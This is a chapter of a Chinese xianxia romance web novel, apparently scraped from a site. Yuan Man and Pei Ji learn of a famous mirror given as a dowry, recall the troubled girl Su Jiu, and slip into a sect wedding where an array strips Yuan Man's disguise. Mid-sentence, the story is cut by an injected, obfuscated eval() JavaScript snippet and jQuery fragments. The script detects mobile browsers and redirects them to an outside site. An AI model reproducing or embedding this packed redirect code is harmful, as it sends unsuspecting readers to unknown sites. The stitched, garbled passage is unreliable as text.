元满瞥向裴寂,心想,比起自己,倒是身边这位要对宿酒更加熟悉吧。
裴寂听了那热情少女的话,显然也陷入了深思。
少女“嘿”了一声,拉回二人的注意力:“你们莫不是高兴坏了吧。”
元满摸摸下巴,附和:“从前没怎么见过这般的阵仗,碧海宗真乃慷慨大宗。”
少女笑了两声,忽然压低声音凑过来:“从前也没有这样大的阵仗,许是娶来的小姐身份着实不一般吧,”她停下话头,神秘兮兮地看着元满:“你猜,那小姐的陪嫁是什么?”
元满捧着她:“是什么?”
少女慢慢揭露:“是无极镜!”
无极镜?!
元满瞬间傻掉,就连一直在发呆的裴寂也将视线转了过来。
如果元满没有记错的话,无极镜可是无极宗的镇宗圣物,就算是掌门来了都碰不得,它高挂无极圣殿的最高处,被数十道先圣残力共同守护,元满也只是在很久之前跟着元岘亭才站在远处参观了一番。
这面传闻中神乎其神的古镜一直被深埋在碧海宗地基之下,一直到十几年前才终于被找到,传说无极镜乃上古遗物,具有回溯时间的能力,任何一个在从前存在过的东西,都能够通过无极镜带回到现在。
这样的至宝,怎么会仅仅只是给门中小姐当作陪嫁,还是无极宗人人都厌恶的二小姐?
提到二小姐宿酒,就不能提到她那位曾引无数英雄竞折腰的母亲,叶藏珠。
这位绝代佳人在十几年前,仅仅是凭借自身无与伦比的美貌就能搅弄风云,男人爱她,女人恨她,元满在很小的时候曾在母亲举办的宴会中见过这位美人一面,彼时她已经嫁给当时显赫一时的无极宗的少掌门,诞下两个女儿——大女儿便是宿酒。
小小的元满惊讶于那位夫人惊为天人的样貌,她的一颦一笑甚至连女人的心跳都能轻易牵动,她就像是这个世界毋庸置疑的女主角,游嬉于众生之中,谁都要爱她。
宿酒跟在她的身后,未长开的眉眼已然有了七分叶藏珠的影子,她漂亮、自信、受尽宠爱,就连元满也要偶尔伤心:如果自己不那么捣蛋,有宿酒两分的安静,那夫子是不是就不会在她逃课去掏鸟蛋的时候狠狠训斥她,而是夸赞小满真厉害。
可是琉璃易碎彩云散,大都好物不坚牢,危机往往都隐藏在着锦的鲜花之下,当你看到时,还以为是命运情趣般的馈赠。
宿酒五岁时,叶藏珠忽然在某日走火入魔,她抽出佩剑剁下熟睡中的丈夫的头,而后抱着还在咿呀学语的小女儿跳入深达千丈的死生崖。
没人知道叶藏珠为什么要这样做,无极宗反应过来后迅速压下消息,声称他夫妻二人破镜失败,才落得双双离世的结果。
但是十九宗内却人人心知肚明,在此之后无极宗对待宿酒同从前截然相反的态度也佐证了他们的猜测。
这场玩笑般的事故中,宿酒是最大的受害者。
她从光鲜亮丽的二小姐跌落神坛,无极宗依旧养着她,却免不了在看见她越长越像叶藏珠的面容时,生出无限的恐惧和厌恶。
少女时代,元满的母亲念及旧情,心疼这个可怜的遭族人嫌弃的女孩,曾将她接到玉渡山住了几个月。
元满那时已经有了小师妹姜娩,对于新来的伙伴,虽然开心,却并没有见到姜娩时狂热的欢喜,她听从母亲的嘱托,在修炼之余,总会带着宿酒去玩。
但是宿酒显然和她二人志趣不同。
元满爬到树上摘青枣,姜娩像个猴子一样在树底下加油助威,宿酒却嫌弃地站得很远;元满收起灵力和姜娩比赛抓鱼,一个脚滑摔进河里,吓得忘记用灵力呼吸,只能朝岸边的宿酒拼命伸出手求救,宿酒却因为嫌弃河里肮脏的淤泥,扭头就走,最后还是姜娩在电光火石之间学会了一直没学会的御水术,才将元满救下来。
比起元满和姜娩,宿酒似乎更喜欢黏着封谨和裴寂。
元满起先觉得很正常,她从前也是这样,更喜欢跟男孩子而不是女孩子玩,但这其实是因为玉渡山的师妹师姐都受不了她天天去山下捡牛粪。
元满觉得百口莫辩,她其实一点也不爱牛粪,只是因为山脚下可怜的阿爷阿婆死活不要钱,天天又缺牛粪烧火,她才去捡。
但是慢慢的,元满发现了不对劲,因为宿酒总是喜欢贴着裴寂和封谨说话。
他们那时已经长大,知道何为男女大防,但宿酒却好像就还是个小孩子一样,有时候抓着他们的手,有时候靠近他们的耳边。
元满说不出来原因,就是觉得很奇怪。
在这里面,裴寂被宿酒缠得更紧,每个清晨,那个漂亮的女孩都会跑过来同他说早安,哪怕他还没有穿好衣服;白日里,他吃饭、练功、种花,都会遇见她,到了晚上,她又借口有疑惑要请教,呆在他的院子里久久不愿离去。
看着裴寂被宿酒逼得几乎崩溃,元满表面忍不住哈哈大笑,心里却会涌出一种说不清道不明的情绪。
直到某一天,元满又偷偷溜过来看宿酒在用什么法子整裴寂,却意外撞见女孩一不小心崴了脚,扑到裴寂的怀里,桃花沸沸扬扬洒下,二人的距离呼吸可闻。
元满的火气瞬间就上来了,踹开门一把将裴寂拉走。
事后,元满找到整忙着宗门大比的母亲,抱怨了许久,第二天,宿酒就被送回了北境无极宗老家。
她走以后,世界终于清净。
后来元满终于长大,也懂得人事,她偶尔想起宿酒,心底总会觉得有一些愧疚,如果裴寂当时也是喜欢她的,那她算不算是在棒打鸳鸯?
她也不明白自己为什么会那样做,但是如果重来一次,她再愧疚,也还是会把裴寂拉开。
无极镜作为陪嫁这件事,元满虽然满腹疑惑,却并没有深思,左右是别人的家事,她再怎么八卦,也还不至于追过去死缠烂打逼问到底。
次日的喜酒,他们二人也不想去蹭一蹭,哪怕碧海宗特意给新歌城的百姓也开了桌,他们只要想去自然就能去。
再见到宿酒,他俩晚上估计都要做噩梦。
次日,二人开了寻人阵,那方衣角被放入阵心后就飞速旋转起来,激起肉眼可见的灵波,片刻之后,阵线改组重置,幻化成一只水蓝的幻影蝶,朝着一个方向飞过去。
元满和裴寂彼此对视一眼,立刻跟了上去。
二人穿过人迹罕至的小巷,穿过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16227361|181733||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
车水马龙的长街,越走越熟悉,鞭炮声忽然响起,裴寂下意识捂住了元满的耳朵,二人齐齐抬头,红绸仪仗,快马嘶鸣,赫然又是碧海宗宋府。
这下子是再不想去也得去了。
二人顺着人流往里走,却在内院和百姓席的分岔口顿住了,幻影蝶掠过众人,直直飞向里间席位。
“姐姐。”
元满猝然被人轻拍了一下肩膀,她回过头,看见一位着碧海宗服的俊秀少年,正是昨日将她和裴寂撞散的那位。
“你是来吃酒的吗?姐姐。”少年凑过来。
元满点点头:“是呢,这样热闹的事情,我可也要来沾沾喜气。”
少年露出一个明净的笑,学着戏台上的小生行了个礼:“那可太好了,姐姐是要到百姓席位吗?夙月愿为您带路。”
元满正要回答,却被裴寂拉到他身边,裴寂客客气气掏出喜帖递了过去,声音里听不出来什么情绪:“她和我一起的。”
“啊,”夙月接过喜帖看了一眼,又看看裴寂抓着元满的手,瞬间明白了什么,只能遗憾道:“那好吧,姐姐在里间要是有什么需要记得喊我呀,我叫夙月,他们都认得的。”
元满囫囵答应了,她探头想要看看那张喜帖,却被裴寂一把拉了回来,喜帖被夙月搁置在喜篮中,片刻中就被四五张一模一样的喜帖压住。
裴寂将她拎着调转方向:“走路。”
幻影蝶停留在门槛处,直到二人迈进门才继续朝前飞去。
元满想了想,还是狐疑地看向裴寂:“你哪儿来的?”
裴寂目不斜视:“从二手贩子那里买的。”
“好吧,”元满没有怀疑:“但是你买那个做什么?”
除了长廊,喜客骤然变多,裴寂将人往自己怀里揽了一下,见元满没有反抗,便没有收回手,他低下头,正好看见元满曜黑的瞳孔,一眨不眨将他望着。
“为什么啊?”
裴寂立刻撇开视线:“来蹭个饭。”
元满还要再说,却被一个慌忙跑向前的喜客撞了一下,直接跌进裴寂的怀里,熟悉的皂角香铺天盖地涌过来,几乎将她整个人包裹住。
元满挣扎起来,却被裴寂按了回去。
“别动。”
元满果然停下动作:“怎么了?”
“宋梦华在往这边看。”
元满把脑袋稍微探出来换了个气,瞬间觉得疑惑:“那又怎么?我易容过了,他不可能认出来。”
裴寂没再说话,过了片刻,也许是宋梦华终于扭回了头,他才将元满从怀里拨出来推进角落。
自物戒中幻化出一方圆镜,放在元满面前。
元满探头一看,竟然是她原本的样貌。
“破幻阵,”元满抬手挥了一下,空气浮动出苍青的水波纹,她反应过来:“竟然是破幻阵。”
不过想想也正常,少主娶亲又不是什么小事,这样重要的时刻,必然要防止别有用心之人潜入,如若闯进妖鬼,喜宴直接便葬堂,谁能承担的起?
布上破幻阵,妖鬼的伪装无处遁形,就连那些别有用心的普通人也要现出真实的样貌。
元满耸耸肩,只道倒霉。